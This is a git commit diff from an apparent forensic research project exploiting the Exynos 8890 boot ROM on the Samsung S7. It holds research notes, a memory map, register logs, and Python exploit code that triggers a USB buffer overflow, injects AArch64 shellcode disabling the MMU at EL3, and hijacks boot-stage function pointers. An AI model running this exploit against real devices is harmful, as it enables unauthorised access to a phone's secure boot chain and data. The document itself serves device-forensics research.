||||
|
||||
Week 35 - 2024
|
||||
===============
|
||||
After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.
|
||||
|
||||
Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes).
|
||||
|
||||
Also space at 0x020307f0
|
||||
|
||||
.. code-block:: python
|
||||
self.cd.memdump_region(0x105c2400, 0x40).hex()
|
||||
'0f0f00000f0008002100000000000000ffffffffffffffffffffffffffffffff0f0f00000f0008002101000000000000ffffffffffffffffffffffffffffffff'
|
@ -5,17 +5,17 @@ start,end,name,order,comment,X0,LR
|
||||
0x000064e0,0x0000658c,_boot_usb,,,,
|
||||
0x020c0000,0x020c0004,_frederic_dest_ptr,,,,
|
||||
0x000002c0,0x000002c4,_jump_bl1,,,,
|
||||
0x02022000,0x02024000,BL1,,,,
|
||||
0x02024000,0x02048000,BL31,,,,
|
||||
0x02022000,0x02023fff,BL1,,,,
|
||||
0x02024000,0x02047fff,BL31,,,,
|
||||
0x02048000,0x0206ed10,BL2,,,,
|
||||
0x02069000,0x0206f000,Debugger,,,,
|
||||
0x020c0000,0x020c7000,Debugger relocated,,,,
|
||||
0x02048000,0x0204daf0,BL2 empty space?,,,,
|
||||
0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
|
||||
0x020c2000,0x020e8d10,BL2 load address?,,,,
|
||||
0x0206ed10,0x02070000,End/Start peripheral space?,,,,
|
||||
0x02019e5c,0x02020e5c,Tried debugger space,,,,
|
||||
0x020c2000,0x020e8d10,BL2 loaded to this address,,,,
|
||||
0x0206ed10,0x02070000,Open space. Has pointers written to.,,,,
|
||||
0x020C7800,0x020C8000,modem_interface,,,,
|
||||
0x14AC0000,0x14ac5000,mali@14AC0000,,,,
|
||||
0x02035600,0x02035608,TTBR0_EL3 address ptr,,,,
|
||||
0x11207010,0x11207010,memread/write space,,,,
|
||||
0x02035600,0x02035608,TTBR0_EL3,,,,
|
||||
0x11200000,0x11207000,Last relocated debugger,,,,
|
||||
0xa0000000,0xa0013fff,Parts of BL2 in IMEM,,,,
|
||||
0x14000000,1400060000,DEADCAFE,,,,
|
|
File diff suppressed because one or more lines are too long
@ -5,10 +5,11 @@
|
||||
|
||||
# -- Project information -----------------------------------------------------
|
||||
# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information
|
||||
import os
|
||||
|
||||
project = 'Samsung'
|
||||
copyright = '2024, Eljakim, Jonathan'
|
||||
author = 'Eljakim, Jonathan'
|
||||
project = 'Samsung S7'
|
||||
copyright = '2024, Nederlands Forensisch Instituut'
|
||||
author = 'Eljakim Herrewijnen, Jonathan Herrewijnen'
|
||||
|
||||
# -- General configuration ---------------------------------------------------
|
||||
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
|
||||
@ -20,6 +21,21 @@ extensions = [ 'myst_parser',
|
||||
'sphinx_wagtail_theme',
|
||||
]
|
||||
|
||||
# -- Settings for confluence -------------------------------------------------
|
||||
confluence_publish = True # Set to True to publish to confluence
|
||||
confluence_space_key = 'DTSPHINX' # E.g., DT_Sphinx
|
||||
confluence_server_url = 'https://confluence.dev.holmes.nl/'
|
||||
confluence_parent_page = 'Automotive' # E.g., Workshops
|
||||
confluence_page_hierarchy = True
|
||||
confluence_publish_dryrun = False # Set to False to publish to confluence
|
||||
|
||||
# Use token for authentication, from environment variable
|
||||
try:
|
||||
confluence_publish_token = os.environ['CONFLUENCE_TOKEN']
|
||||
except:
|
||||
confluence_ask_password = True
|
||||
confluence_ask_user = True
|
||||
|
||||
templates_path = ['_templates']
|
||||
exclude_patterns = []
|
||||
|
||||
|
@ -3,9 +3,9 @@
|
||||
You can adapt this file completely to your liking, but it should at least
|
||||
contain the root `toctree` directive.
|
||||
|
||||
Samsung Documentation
|
||||
=====================
|
||||
Documentation on Samsung devices, currently mainly the Samsung S7.
|
||||
Samsung S7 & MIB3 High
|
||||
======================
|
||||
Documentation on Samsung devices, currently mainly the Samsung S7. Here we're exploiting the Exynos 8890, which is present on both the Samsung S7 and the MIB3 High (VAG).
|
||||
|
||||
.. toctree::
|
||||
:maxdepth: 2
|
||||
|
Binary file not shown.
Binary file not shown.
BIN
source/S7/memdumps/imem_pre_bl1_02023800_02024000
Normal file
BIN
source/S7/memdumps/imem_pre_bl1_02023800_02024000
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
63
source/exploit/TTBR0_EL3: 0xbc46508b2f14e0
Normal file
63
source/exploit/TTBR0_EL3: 0xbc46508b2f14e0
Normal file
@ -0,0 +1,63 @@
|
||||
TTBR0_EL3: 0xbc46508b2f1462
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100010
|
||||
root | INFO | Connection is working
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc46508b2f1462
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100010
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc46508b2f1462
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100010
|
||||
|
||||
|
||||
TTBR0_EL3: 0xbc42508b2f1462
|
||||
Bits: 0000000010111100010000100101000010001011001011110001010001100010
|
||||
root | INFO | Connection is working
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc42508b2f1462
|
||||
Bits: 0000000010111100010000100101000010001011001011110001010001100010
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc42508b2f1462
|
||||
Bits: 0000000010111100010000100101000010001011001011110001010001100010
|
||||
|
||||
|
||||
TTBR0_EL3: 0xbc42508b2f1462
|
||||
Bits: 0000000010111100010000100101000010001011001011110001010001100010
|
||||
root | INFO | Connection is working
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc42508b2f1462
|
||||
Bits: 0000000010111100010000100101000010001011001011110001010001100010
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc42508b2f1462
|
||||
Bits: 0000000010111100010000100101000010001011001011110001010001100010
|
||||
|
||||
|
||||
TTBR0_EL3: 0xbc46508b2f1462
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100010
|
||||
root | INFO | Connection is working
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc46508b2f1462
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100010
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc46508b2f1462
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100010
|
||||
|
||||
|
||||
TTBR0_EL3: 0xbc46508b2f1460
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100000
|
||||
root | INFO | Connection is working
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc46508b2f1460
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100000
|
||||
Connected device! 0x4e8 0x1234
|
||||
[+] Sent stage
|
||||
TTBR0_EL3: 0xbc46508b2f1460
|
||||
Bits: 0000000010111100010001100101000010001011001011110001010001100000
|
@ -146,9 +146,7 @@ class ExynosDevice():
|
||||
|
||||
|
||||
def send_normal_stage(self, payload):
|
||||
'''
|
||||
TODO not working
|
||||
'''
|
||||
"""Send next boot stage to the device"""
|
||||
# construct dl_data
|
||||
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
|
||||
dpayload = dpayload + payload + b"\x00" * 2 # add footer
|
||||
@ -205,10 +203,8 @@ class ExynosDevice():
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||
|
||||
# Assert that payload is 502 bytes
|
||||
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
||||
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
||||
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
||||
assert len(payload) == max_payload_size, "Invalid payload"
|
||||
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
|
||||
|
||||
# First send payload to trigger the bug
|
||||
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
||||
@ -558,6 +554,26 @@ class ExynosDevice():
|
||||
# self.cd.restore_stack_and_jump(0x00012814)
|
||||
# self.cd.restore_stack_and_jump(0x000125b4)
|
||||
|
||||
|
||||
def disable_mmu(self, address=0x02060000):
|
||||
# ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
|
||||
# Disable MMU and branch to 0x02048000
|
||||
shellcode=f"""
|
||||
mrs x0, sctlr_el3
|
||||
bic x0, x0, #1
|
||||
msr sctlr_el3, x0
|
||||
ldr x0, =0x2048000
|
||||
br x0
|
||||
"""
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
self.cd.memwrite_region(address, shellcode)
|
||||
self.cd.jump_to(address)
|
||||
time.sleep(1)
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
|
||||
|
||||
def get_ttbr0_el3(self):
|
||||
"""
|
||||
Get the TTBR0_EL3 register using opcode.
|
||||
@ -615,19 +631,9 @@ class ExynosDevice():
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
||||
|
||||
# # Relocate to other debugger to 02048000 (after BL31, space in 0x020c0000 is no longer reachable -> dying debugger)
|
||||
# debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
|
||||
# self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
|
||||
# DEBUGGER_ADDR = 0x02048000
|
||||
|
||||
# # # Relocate to other debugger to 020c0000
|
||||
# debugger = open("../../dump/reloc_debugger.bin", "rb").read()
|
||||
# self.relocate_debugger(debugger)
|
||||
# DEBUGGER_ADDR = 0x020c0000
|
||||
|
||||
# Relocate debugger
|
||||
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
|
||||
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
|
||||
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11203000, g_data_received=0x11204000)
|
||||
DEBUGGER_ADDR = 0x11200000
|
||||
|
||||
# Test debugger connection
|
||||
@ -647,6 +653,10 @@ class ExynosDevice():
|
||||
time.sleep(1)
|
||||
self.connect_device()
|
||||
|
||||
# Send boot stage 1
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
# Setup jump and bl_auth
|
||||
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
||||
def auth_bl1(lr=0x2069000):
|
||||
@ -659,16 +669,6 @@ class ExynosDevice():
|
||||
### Check if authentication was successful - X0 should not be 0??
|
||||
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
# Jump into BL1 (sboot.bin.1.bin)
|
||||
JUMP_BL1 = 0x000002c0
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(JUMP_BL1)
|
||||
|
||||
# Send boot stage 1
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
# BL1 is loaded, now authenticate and patch it
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
|
||||
@ -678,16 +678,18 @@ class ExynosDevice():
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||
|
||||
# Jump into BL1 (sboot.bin.1.bin)
|
||||
JUMP_BL1 = 0x000002c0
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(JUMP_BL1)
|
||||
|
||||
# And jump into BL1 to execute it
|
||||
jump_bl1(DEBUGGER_ADDR)
|
||||
|
||||
# ==== BL31 ====
|
||||
# Assure that the debugger is still alive
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
# Functions to check ttbr0 (should be trash until after executing BL31)
|
||||
# self.get_ttbr0_el3() # Should be trash, as the
|
||||
# self.check_mem_write_execute(0x020c0000)
|
||||
|
||||
# Get current LR, and store it. Then set LR to debugger.
|
||||
lr = self.cd.arch_dbg.state.LR
|
||||
@ -702,8 +704,8 @@ class ExynosDevice():
|
||||
|
||||
# Assure that the debugger is returning (obligatory assuration)
|
||||
self.usb_read(0x200) # GiAs
|
||||
# lr = self.cd.arch_dbg.state.LR
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to resotre oginal boot flow, without getting back to the debugger
|
||||
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to restore the oginal boot flow, without getting back to the debugger
|
||||
|
||||
# Set LR to continue boot flow
|
||||
self.cd.restore_stack_and_jump(lr)
|
||||
@ -713,27 +715,11 @@ class ExynosDevice():
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.cd.memwrite_region(0x02031008, b"ELH")
|
||||
|
||||
# Relocate to other debugger (For after BL31, but we need a good space!)
|
||||
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
|
||||
# self.relocate_debugger(debugger=debugger, entry=0x14AC0000, storage=0x14AC3000, g_data_received=0x14AC4000)
|
||||
# DEBUGGER_ADDR = 0x14AC0000
|
||||
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
# self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
|
||||
# self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
|
||||
# Inspect TTBR0_EL3 table
|
||||
TTBR0_EL3 = 0x02035600 # Zeroed out
|
||||
|
||||
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
|
||||
self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false
|
||||
# self.cd.memwrite_region(0x02032008, struct.pack('>I', 0x1f2003d5)) # Overwrite MAIR to NOP
|
||||
# self.cd.memwrite_region(0x0202ee74, struct.pack('>I', 0x63650094)) # Return to debugger. (not working, it continues booting..)
|
||||
|
||||
# self.cd.memwrite_region(0x0202eb7c, struct.pack('>I', 0x21650014)) # Change check to always false
|
||||
|
||||
# Jump back to debugger, after TTBR0 is no longer accessible
|
||||
# self.cd.memwrite_region(0x0202f288, struct.pack('>I', 0x5e630094)) # Change check to always false
|
||||
|
||||
# Jump into BL31 and execute it
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
@ -746,95 +732,98 @@ class ExynosDevice():
|
||||
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
|
||||
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
|
||||
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
|
||||
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
|
||||
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
|
||||
|
||||
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (??). Only with relocated debugger.
|
||||
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (?->memory overlap somewhere). Only with relocated debugger.
|
||||
VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
|
||||
|
||||
# ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
|
||||
# # Disable MMU and branch to 0x02048000
|
||||
# shellcode=f"""
|
||||
# mrs x0, sctlr_el3
|
||||
# bic x0, x0, #1
|
||||
# msr sctlr_el3, x0
|
||||
# ldr x0, =0x2048000
|
||||
# br x0
|
||||
# """
|
||||
# shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
# self.cd.memwrite_region(0x02060000, shellcode)
|
||||
# self.cd.jump_to(0x02060000)
|
||||
# time.sleep(1)
|
||||
# self.usb_read(0x200) # GiAs
|
||||
# self.cd.arch_dbg.fetch_special_regs()
|
||||
|
||||
# # Print status of MMU
|
||||
# print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
|
||||
# =================
|
||||
|
||||
# # Change the values of MAIR_EL3 to a different value
|
||||
# shellcode=f"""
|
||||
# mov x0, #0x000000ff
|
||||
# msr mair_el3, x0
|
||||
# ldr x0, =0x2048000
|
||||
# br x0
|
||||
# """
|
||||
# shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
# self.cd.memwrite_region(0x02060000, shellcode)
|
||||
# self.cd.jump_to(0x02060000)
|
||||
# time.sleep(1)
|
||||
# self.usb_read(0x200) # GiAs
|
||||
# self.cd.arch_dbg.fetch_special_regs()
|
||||
# print(self.cd.arch_dbg.state.R_MAIR_EL3)
|
||||
|
||||
self.test_write_execute(0x11207010)
|
||||
|
||||
# # Relocate debugger
|
||||
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
|
||||
# self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
|
||||
# DEBUGGER_ADDR = 0x11200000
|
||||
|
||||
# Again restore bootflow
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
|
||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
time.sleep(2)
|
||||
|
||||
# ==== Stage 4 BL2 ====
|
||||
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
||||
|
||||
# ==== Stage 3 BL2 ====
|
||||
stage3 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
||||
# stage3_len = len(stage3)
|
||||
# Patching
|
||||
# bl2 = len(bl2)
|
||||
# patch_len = len(b"MNGS_QUAD")
|
||||
# patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch")))
|
||||
# patch_offset = stage3.find(b"MNGS_QUAD")
|
||||
# stage3 = stage3[:patch_offset] + patch + stage3[patch_len + patch_offset:]
|
||||
# assert len(stage3) == stage3_len, "Invalid stage4 length"
|
||||
# patch_offset = bl2.find(b"MNGS_QUAD")
|
||||
# bl2 = bl2[:patch_offset] + patch + bl2[patch_len + patch_offset:]
|
||||
# assert len(stage4) == stage4_len, "Invalid bl2 length"
|
||||
|
||||
self.send_normal_stage(stage3)
|
||||
self.send_normal_stage(bl2)
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
|
||||
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
|
||||
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
|
||||
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
|
||||
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
|
||||
|
||||
# Restore bootflow
|
||||
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
|
||||
print(self.cd.arch_dbg.state.print_ctx())
|
||||
BL33_jump = self.cd.arch_dbg.state.X0
|
||||
BL33_LR = self.cd.arch_dbg.state.LR
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
|
||||
# Disable this to keep access to the debugger after senindg the next stage
|
||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
|
||||
# ==== Stage 4 ====
|
||||
# ==== Stage 5 ====
|
||||
# Sends stage 5 (BL33) but returns to debugger after sending.
|
||||
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
||||
|
||||
# Patching
|
||||
# stage4_len = len(stage4)
|
||||
# patch_len = len(b"USB RECOVERY MODE")
|
||||
# patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE")))
|
||||
# patch_offset = stage4.find(b"USB RECOVERY MODE")
|
||||
# stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:]
|
||||
# assert len(stage4) == stage4_len, "Invalid stage4 length"
|
||||
|
||||
self.send_normal_stage(stage4)
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
# self.cd.arch_dbg.X0 = BL33_jump
|
||||
self.cd.jump_to(BL33_LR)
|
||||
|
||||
# TRYOUT PATCHING BL33
|
||||
# BL1 is loaded, now authenticate and patch it
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
|
||||
|
||||
# Hijack ROM download function
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||
|
||||
# Jump into BL1 (sboot.bin.1.bin)
|
||||
JUMP_BL33 = 0x8f000000
|
||||
def jump_bl33(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(JUMP_BL33)
|
||||
|
||||
# And jump into BL1 to execute it
|
||||
jump_bl33(DEBUGGER_ADDR)
|
||||
|
||||
time.sleep(2)
|
||||
|
||||
# # # dump in stages of 100 000 bytes and append to dump
|
||||
# dump = b""
|
||||
# for i in range(0x80000000, 0xf0000000, 0x100000):
|
||||
# dump += self.cd.memdump_region(i, 0x100000)
|
||||
|
||||
|
||||
|
||||
pass
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
arg = argparse.ArgumentParser("Exynos exploit")
|
||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||
|
BIN
source/ghidra-transfer/bl33.gzf
Normal file
BIN
source/ghidra-transfer/bl33.gzf
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user